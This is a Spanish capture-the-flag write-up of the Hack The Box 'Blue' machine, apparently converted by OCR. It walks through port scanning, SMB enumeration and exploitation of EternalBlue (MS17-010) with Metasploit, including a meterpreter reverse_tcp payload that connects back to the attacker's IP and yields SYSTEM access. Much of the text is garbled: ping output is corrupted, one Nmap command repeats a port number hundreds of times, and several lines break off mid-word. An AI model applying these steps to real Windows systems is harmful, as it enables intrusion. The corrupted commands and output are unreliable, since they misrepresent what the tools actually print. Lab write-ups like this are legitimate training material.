236- BLUE

- <u>1. BLUE</u>
 - 1.1. Preliminar
 - <u>1.2. Nmap</u>
 - <u>1.3. SMB</u>
 - 1.4. EternalBlue

1 BIUF

https://app.hackthebox.com/machines/Blue



1.1. Preliminar

 Creamos nuestro directorio de trabajo, comprobamos que la máquina esté encendida y averiguamos qué sistema operativo es por su TTL. Nos enfrentamos a un Windows.

```
ping 10.10.10.40

PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40 (10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40 (cnp_seq=1 tit=127 time=46.4 ms
64 bytes from 10.10.10.40 (cnp_seq=2 tit=127 time=46.5 ms
64 bytes from 10.10.10.40 (cnp_seq=2 tit=127 time=45.7 ms
64 bytes from 10.10.10.40 (cnp_seq=2 tit=127 time=45.7 ms
64 bytes from 10.10.10.40 (cnp_seq=5 tit=127 time=45.7 ms
64 bytes from 10.10.10.40 (cnp_seq=5 tit=127 time=48.9 ms
64 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
65 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
66 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
67 c
68 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
69 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
60 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
60 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
61 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
62 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
63 bytes from 10.10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
64 bytes from 10.10.40 (cnp_seq=7 tit=127 time=48.9 ms
64 bytes fro
```

1.2. Nmap

 Escaneo de puertos sigiloso. Evidencia en archivo allports. Vemos que, entre otros, tenemos los puertos 135, 139, 445 abiertos.

```
) map -s5 -p- -open 10.10.10.40 -T5 -n -Pn -min-rate 5000 -oG allports

Starting Mmap 7.32 ( https://mmap.org ) at 2024-02-11.14:22 CET

Warning: 10.18.10.40.60 (yiving up no port because retransmission cap hit (2).

Namap scan report for 10.10.10.40.

Host is up (0.404 alteroy).

Not shown: 04024 closed top ports (reset), 902 filtered top ports (no-response)

Soft Scanding open methods—since starting open methods—sinc
```

 Escaneo de scripts por defecto y versiones sobre los puertos abiertos, tomando como input los puertos de allports mediante extractPorts. Evidencia en archivo targeted. Observamos que a través del escaneo del servicio SMB, nos enfrentamos a un Windows 7. En este punto, ya estamos pensado en un posible EternalBlue.

```
y map -stV -pi39, 139,449,4955, 40153, 40153, 40154, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155, 40155
```

• Por tanto, vamos a ejecutar el script *smb-vuln-ms17-010* de Nmap para comprobar si la máquina es vulnerable a EternalBlue. Comprobamos que, efectivamente, es vulnerable.

13 SMR

 Antes de nada, como el sistema tiene el servicio SMB expuesto, tratamos de conectarnos con smbclient -L //10.10.10.40. Podemos listar los directorios.

```
) smbcttent -L //18.18.40
Password for [MolkockODP/root]:

Sharename Type Comment

ANMINS Disk Remote Admin
C$ Disk Default share
C$ Disk Default share
Share Disk
Users Disk
Users Disk
SSBH disabled -- no workgroup available
```

• Enumeramos estos directorios uno por uno, siendo *Users* el único que tiene contenido. Accedemos a éste con: smbclient //10.10.10.40/Users. En cualquier caso, tras explorar los directorios y archivos, no encontramos nada relevante de información.

```
) smbcllent //10.10.10.40/Users
Password for [MORKGROUP\root]:
Try 'help' to get a list of possible commands.
smb: \> l

DR

0 Fri Jul 21 08:56:23 2017

DR

0 Fri Jul 21 08:56:23 2017

Default

DRR

0 Tus Jul 14 09:09:31 2009

desktop.inl

AHS

174 Tus Jul 14 08:54:24 2009

Public

0R

0 Tus April 29:551:29 2011

4692735 blocks of size 4096. 657350 blocks available

smb: \>
```

14 FternalBlue

- CVE-2017-0143 (EternalBlue):
- Vamos a explotar EternalBlue recurriendo esta vez a Metasploit. Ejecutamos: search eternal blue para buscar exploits para esta vulnerabilidad. Elegimos el primero.

 Seguidamente, usamos el payload payload/windows/meterpreter/reverse_tcp. Establecemos la IP de la víctima y nuestra IP local con set rhosts 10.10.10.40 y set 1host 10.10.14.14 respectivamente.

Lanzamos el exploit y obtenemos nuestra sesión de Meterpreter. Somos AUTHORITY\SYSTEM, es
decir, el usuario con máximos privilegios en Windows. Tras navegar por los directorios,
encontramos las flag de usuario y root.